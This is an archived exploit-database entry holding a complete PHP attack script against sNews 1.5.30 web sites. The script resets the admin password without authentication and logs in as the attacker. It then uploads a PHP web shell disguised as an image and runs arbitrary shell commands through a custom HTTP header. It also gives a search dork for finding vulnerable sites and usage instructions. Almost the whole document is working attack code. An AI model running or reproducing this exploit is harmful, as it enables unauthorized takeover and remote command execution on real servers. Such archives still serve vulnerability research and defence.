sNews 1.5.30 - Remote Reset Admin Pass / Command Execution

EDB-ID:

3116

Author:

rgod

Type:

webapps

Platform:

PHP

Published:

2007-01-12

<?php
print_r('
---------------------------------------------------------------------------
sNews <= 1.5.30 unauthorized access / reset admin pass / cmd exec exploit
by rgod
dork: "Barbecued by sNews"
mail: retrog at alice dot it
site: http://retrogod.altervista.org
---------------------------------------------------------------------------
');
/*
works regardless of php.ini settings
*/
if ($argc<5) {
    print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path your_ip cmd [options]
host:      target server (ip/hostname)
path:      path to sNews
your_ip:   your ip address, this is needed for upload
           this is automatically set to your proxy ip, if you use one
cmd:       a shell comand
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /snews/ ls -la -P1.1.1.1:80
php '.$argv[0].' localhost / cat snews.php -p81
---------------------------------------------------------------------------
');
    die;
}

error_reporting("E_ALL");
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$your_ip=$argv[3];
$port=80;
$proxy="";
$cmd="";
for ($i=4; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
  $tmp=explode(":",$proxy);
  $your_ip=$tmp[0];
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

/*
software site: http://www.solucija.com/home/snews/

you can have unauthorized access to admin password reset feature and other ones,
after that you can upload a php file and launch commands

see snews.php near lines 392-395:
...
function center() {
	if (isset($_GET['category'])) {$id = $action = $_GET['category'];}
	if (isset($_GET['articleid'])) {$articleid = $_GET['articleid'];}
	if (isset($_POST['submit_text'])) {processing(); $processed = true;}
...

now look at processing() function near line 1300:

...
function processing() {
	if ($_SESSION[db('website').'Logged_In'] != 'True') {notification(l('error_not_logged_in'),'','login/');}
...

and to notification() one near lines 675-680:

...
function notification($error, $errNote, $link) {
	$errNote = !empty($errNote) ? '<br />'.$errNote : '';
	echo '<h2'.(!empty($error) ? ' class="error">'.l('admin_error').'</h2><p>'.$error.$errNote.'</p>' : '>'.l('operation_completed').'</h2>');
	echo (!empty($link)) ? '<p><a href="'.db('website').$link.'" title="'.l('back').'">'.l('back').'</a></p>' : '';
}
...

funny! there is no exit() or die()...

this one reset the admin password and try to upload a php file
*/

$data='-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="submit_text";

1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="task";

changeup
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="submit_pass";

1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="uname";

suntzu
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="pass1";

suntzu
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="pass2";

suntzu
-----------------------------7d61bcd1f033e--
';
$packet ="POST ".$p." HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);

$data ="uname=suntzu";
$data.="&pass=suntzu";
$data.="&Loginform=True";
$data.="&submit=Login";
$packet ="POST ".$p." HTTP/1.0\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (!eregi("Admin</legend>",$html)){die("exploit failed...");}
$cookie="";
$temp=explode("Set-Cookie: ",$html);
for ($i=1; $i<count($temp);$i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=trim(str_replace("\n","",str_replace("\r","",$temp2[0])));
}
//echo "cookie -> ".$cookie."\n";

$data='-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="upload_dir";

.
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="imagefile"; filename="config.php"
Content-Type: image/jpeg;

<?php error_reporting(0); set_time_limit(0); echo "my_delim"; passthru($_SERVER["HTTP_SUNTZU"]); echo "my_delim";?>
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="ip";

'.$your_ip.'
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="time";

1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="upload";

Upload
-----------------------------7d61bcd1f033e--
';
$packet ="POST ".$p."files/ HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);

$packet ="GET ".$p."config.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="SUNTZU: ".$cmd."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("my_delim",$html))
{
$temp=explode("my_delim",$html);
echo $temp[1];
}
else
{
  echo "exploit succeeded... but, for some reason, failed to upload shell, try to login manually with user 'suntzu' & password 'suntzu'";
}
?>

# milw0rm.com [2007-01-12]